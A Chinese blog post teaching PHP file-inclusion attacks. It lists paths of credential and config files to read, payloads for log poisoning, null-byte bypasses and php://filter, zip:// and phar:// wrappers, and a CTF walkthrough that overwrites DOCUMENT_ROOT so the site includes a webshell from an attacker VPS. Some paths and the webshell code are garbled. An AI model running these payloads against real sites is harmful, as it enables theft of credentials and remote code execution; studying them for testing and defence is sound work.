https://www.chery666.cn/blog/2017/06/17/include.html
网页代码在通过函数复用文件时,未对文件名进行安全检查时,从而导致恶意代码执行和敏感信息泄露。主要分为本地包含(LFI)和远程包含 (RFI)
涉及到的危险函数:include(),require() 和 include_once(),require_once()
测试代码
$a = $_GET['chery'];
include($a);
包含目录文件
./
当前目录,../
上一级目录, 这样的遍历目录来读取文件Windows:
C:boot.ini // 查看系统版本
C:WindowsSystem32inetsrvMetaBase.xml //IIS 配置文件
C:Windowsrepairsam // 存储系统初次安装的密码
C:Program Filesmysqlmy.ini //Mysql 配置
C:Program Filesmysqldatamysqluser.MYD //Mysql root
C:Windowsphp.ini //php 配置信息
C:Windowsmy.ini //Mysql 配置信息
...
Linux:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
/var/log/apache/access_log
/var/www/logs/access_log
/var/log/access_log
也可用通过先包含配置文件来确定日志文件路径
index.php?page=/etc/init.d/httpd
index.php?page=/etc/httpd/conf/httpd.conf
然后在 user-agent 中插入 payload
向 phpinfo 上传文件则可以返回文件路径,但是文件存在时间很短,可以用程序持续上传,然后就可以包含你上传的文件了
利用 PHPInfo 进行本地文件包含的主要思想是在临时文件删除前执行操作。
我们需要争取时间,时间差大致来自三个方面:
1、通过分块传输编码,提前获知临时文件名称;
分块传输可以实现在未完全传输完成时即可获知临时文件名,可以尽早发起文件包含请求,赶在删除之前执行代码。
2、通过增加临时文件名后数据长度来延长时间;
通过观察 PHPinfo 的信息,在 $_FILES 信息下面,还有请求头的相关信息,我们可以在请求的时候,通过填充大量无用数据,来增加后面数据的长度,从而增加脚本的处理时间,为包含文件争取更多的时间。
3、通过大量请求来延迟 PHP 脚本的执行速度。
通过大量的并发请求,提高成功的概率。由于对 PHP 处理性能的不熟悉,做了一个简单的测试,记录大量多个请求下,每个脚本的运行时间.
参考:LFI with PHPInfo 本地测试过程
实战运用:乌云链家 phpinfo 文件包含到内网渗透
if (isset($_SERVER['QUERY_STRING']) && $_SERVER['QUERY_STRING'] != '') {
if (stripos($_SERVER['QUERY_STRING'], "GLOBALS") === false &&
stripos($_SERVER['QUERY_STRING'], "_GET") === false &&
stripos($_SERVER['QUERY_STRING'], "_SERVER") === false &&
stripos($_SERVER['QUERY_STRING'], "_POST") === false &&
stripos($_SERVER['QUERY_STRING'], "_COOKIE") === false &&
stripos($_SERVER['QUERY_STRING'], "_REQUEST") === false &&
stripos($_SERVER['QUERY_STRING'], "_ENV") === false &&
stripos($_SERVER['QUERY_STRING'], "_FILES") === false &&
stripos($_SERVER['QUERY_STRING'], "_SESSION") === false) {
parse_str($_SERVER['QUERY_STRING']);
}
}
首先是一大串过滤,发现过滤的都是 php 全局数组
这里百度了一下 QUERY_STRING 函数和 parse_str 函数(具体用法自行百度)
发现后者存在 url 解码,故可以用 url 编码绕过过滤,并且后者具有变量覆盖的功效。至此可以掌控全局变量。
继续审计源码
define("Z_ENTRANCE", true);
define('Z_ABSPATH', $_SERVER['DOCUMENT_ROOT']);
require(Z_ABSPATH . "/conn.php");
require(Z_ABSPATH . "/functions.php");
if (isset($action) && $action == 'main') {
require(Z_ABSPATH . "/main.php");
发现第二个关键点define('Z_ABSPATH', $_SERVER['DOCUMENT_ROOT']);
这里存在了一个根目录,而前面我们说到了全局变量覆盖的问题,所以这里毋庸置疑,我们应该覆盖的就是这个根目录,将其改为我们的 vps 地址,故可以远程包含我们的脚本
(注:别忘了你的 vps 下也要放 conn.php 和 functions.php 否则程序运行到这里就失败了……)
将自己的小马写进 main.php
小马如下:` echo "ls ?>";`
然后发 payload:/index.php?%5fSERVER[DOCUMENT_ROOT]=http://123.206.222.169&action=main
即可得到全有文件,可以看见 flag 文件
再将小马的 ls 改为 cat 即可获得 flag
测试代码
/etc/passwd%00
(需要 magic_quotes_gpc=off,PHP 小于 5.3.4 有效)
/var/www/%00
(需要 magic_quotes_gpc=off,unix 文件系统,比如 FreeBSD,OpenBSD,NetBSD,Solaris)
/etc/passwd/././././././.[…]/./././././.
(php 版本小于 5.2.8(?) 可以成功,linux 需要文件名长于 4096,windows 需要长于 256)
/boot.ini/………[…]…………
(php 版本小于 5.2.8(?) 可以成功,只适用 windows,点号需要长于 256)
常见封装协议的利用
利用 php 流 filter(过滤器, 可以用来读取 php 文件内容, 不需要开启 allow_url_include):?file=php://filter/convert.base64-encode/resource=index.php
, 注意没有?> 闭合, 闭合标签的话就包含失败了。
$include_file=$_GET[include_file];
if ( isset( $include_file ) && strtolower( substr( $include_file, -4 ) ) == ".php" )
{
require( $include_file );
}
截取过来的后面 4 格字符, 判断是不是 php, 如果是 php 才进行包含zip://archive.zip#dir/file.txt
(file.txt 被压缩在 archive.zip 中)
创建 phar 的代码如下:
$p = new PharData(dirname(__FILE__).'/phartest.aaa', 0,'phartest',Phar::ZIP) ;
$p->addFromString('testfile.txt', '');
?>
创建 phar 的时候要注意 php.ini 的参数, phar.readonly 设置为 off(本地测试的两个默认都是 off)
然后通过包含协议访问:
http://127.0.0.1/demo.php?chery=phar://./phar/phartest.aaa/testfile.txt